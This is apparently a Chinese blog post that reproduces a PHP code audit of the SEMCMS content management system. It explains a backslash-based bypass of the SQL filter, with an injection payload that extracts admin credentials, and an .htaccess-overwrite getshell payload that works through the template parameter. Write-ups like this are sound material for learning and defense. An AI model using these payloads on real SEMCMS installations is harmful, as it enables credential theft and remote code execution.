大柚子

这世界不过如此

前言

近来在学习php代码审计,故先照着大佬的审计过程来了一波复刻

前台注入

分析过程

从入口文件开始:/semcms/Templete/default/Include/index.php

跟进web_inc.php,首先包含“db_conn.php”和“contorl.php”

  • db_conn.php

建立与数据库的连接,代码量很少也很简单。

  • contorl.php

$_GET
进行全局过滤危险的SQL函数。

这个过滤函数的作用是,把select、insert、union、into、load_file、outfile、update、between等函数禁用了,导致没有办法进行跨表查询等操作。

继续回到web_inc.php,前面的内容都是基本的网站设定,但是在89行存在一条SQL语句

可以看到”$Language”变量直接拼接在查询语句中,且该变量来自于POST请求中,不过这里先经过了verify_str函数,相当过了一遍sql过滤函数,导致没法利用,但真是如此吗?

$Language=test_input(verify_str($_POST["languageID"]));

仔细看的“languageID”经过“verify_str”函数过滤后会传递为test_input函数,之后这个值才会传递给”$Language“变量,那么跟进test_input函数,其在control.php 172行中

其中有个函数比较有趣stripslashes,这个函数的作用就是去除反斜杠,如果magic_quotes_sybase 项开启,反斜线将被去除,但是两个反斜线将会被替换成一个。

那么这里绕过verify_str的思路就来了,针对会被过滤的select、union等参数之间插入”\”符号

languageID=-1 un\ion sel\ect 1,concat(user_admin,0x2d,user_ps),3,4,5,6,7,8,9,10,11,12,13,14 from sc_user

继续针对传入的payload进行分析,传递方式——》输出结果。

通过构建的payload,绕过了verfy_str过滤函数,那么最终查询的结果传递给了谁呢?

为什么payload中select查询14个参数,因为“sc_tagandseo”表有14个字段

后面还经过了if判断,当$tag_indexmetatit非空时,将值传递给$indextitle

最终直接echo到返回包中

小结

由于

web_inc.php
是所有前台文件都会包含的,所以说这个注入点在任意前台文件中都可以无条件触发,唯一的区别就是其他文件可能没有回显的地方。

后台getshell

分析过程

全局搜索file_put_contents,总共有三个结果,如下所示,其中class.phpmailer.php和SEMCMS_Function.php中的参数都写死了,故这里对function.php中file_put_contents函数进行分析


function Mbapp($mb,$lujin,$mblujin,$dirpaths,$htmlopen){

 
       if ($htmlopen==1){$ml="j";}else{$ml="d";}

       
        //$template="index.php,hta/j|d/.htaccess
        $template="index.php,hta/".$ml."/.htaccess"; //开始应用模版
        //将$template以","作为分隔符,分割为"index.php"和"hta/j|d/.htaccess"数组
        $template_mb=explode(",",$template);

        for($i=0;$i<count($template_mb);$i++){
              // $template_o为拼接后的 $mblujin/templete/$mb/Include/index.php|hta/j|d/.htaccess
              $template_o = file_get_contents($mblujin.'Templete/'.$mb.'/Include/'.$template_mb[$i]);

              //将“hta/$ml/"字符串去除,即$templateUrl为$lujin/index.php|.htaccess
              $templateUrl = $lujin.str_replace("hta/".$ml."/","", $template_mb[$i]);

              //将$template_o中'<{Template}>'替换为$mb的值
              $output = str_replace('<{Template}>', $mb, $template_o);
              //进一步将$output中'<{dirpaths}>'替换为$dirpaths的值
              $output = str_replace('<{dirpaths}>', $dirpaths, $output);

          //将替换后的值写入到$templateUrl指向的文件
          file_put_contents($templateUrl, $output);

           }

那么如果Mbapp中的某些参数可控,尤其是$mb的参数可控时,是否可以改变某些文件的内容,从而达到getshell的结果呢?

全局搜索“Mbapp”方法,发现在SEMCMS_Function.php中调用了这个方法,通过其传入的参数,可以得出$templateUrl的值为:


因为SEMCMS_Function.php路径为/8LYla2_Admin/SEMCMS_Function.php
../index.php  根目录
../.htaccess  根目录

那么$mb的值是如何获取的呢?通过SEMCMS_Function.php代码可知是通过$GET[‘mb’]来控制,是否似曾相识,的确,该文件引用了contorl.php进行过滤。继续进一步分析利用项有两个:

利用index.php(需要登录后台)

能够修改

semcms/Templete/default/Include/index.php
中的
<{Template}>
的内容

那么可以尝试构造如下payload:


/semcms/8LYla2_Admin/SEMCMS_Function.php?CF=template&mb=default/%27.phpinfo():.%27/..

最终的话理论效果会在

semcms/Templete/default/Include/index.php
写入效果如下所示

<?php
include_once  '<{dirpaths}>Include/web_inc.php';
include_once  '&lt;{dirpaths}&gt;Templete/<strong>'.phpinfo().'/..</strong>/Include/Function.php';
$file_url="&lt;{dirpaths}&gt;";
include_once  '&lt;{dirpaths}&gt;Templete/<strong>'.phpinfo().'/..</strong>/Include/default.php';
?&gt;

但是因为存在过滤的原因,导致利用失败

利用.htacess(需要登录后台)

能够修改

semcms
/.htacess中的<{dirpaths}>内容。

与 .htaccess 相关的奇淫技巧

SetHandler application/x-httpd-php

此时当前目录及其子目录下所有文件都会被当做 php 解析。

故可以构造如下payload


/semcms/8LYla2_Admin/SEMCMS_Function.php?CF=template&amp;mb=default/%0aSetHandler%20application/x-httpd-php%0a%23/../..

//这里因为application/x-httpd-php中带有/,所以多需要一个../进行跳转

理论上效果为:

那么我们随意上传一个文件,即可当作PHP来解析。

因为传入的内容并不在

inject_check_sql
的黑名单中,可以成功地覆盖
.htaccess
文件,不过这种方式也是有局限性的,需要Apahce是通过module的形式加载PHP的文件来执行才可以,并且需要在Linux环境,因为window不支持跨越不存在的路径。(我这里就是windows,导致利用失败)

参考来源

https://xz.aliyun.com/t/11265

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。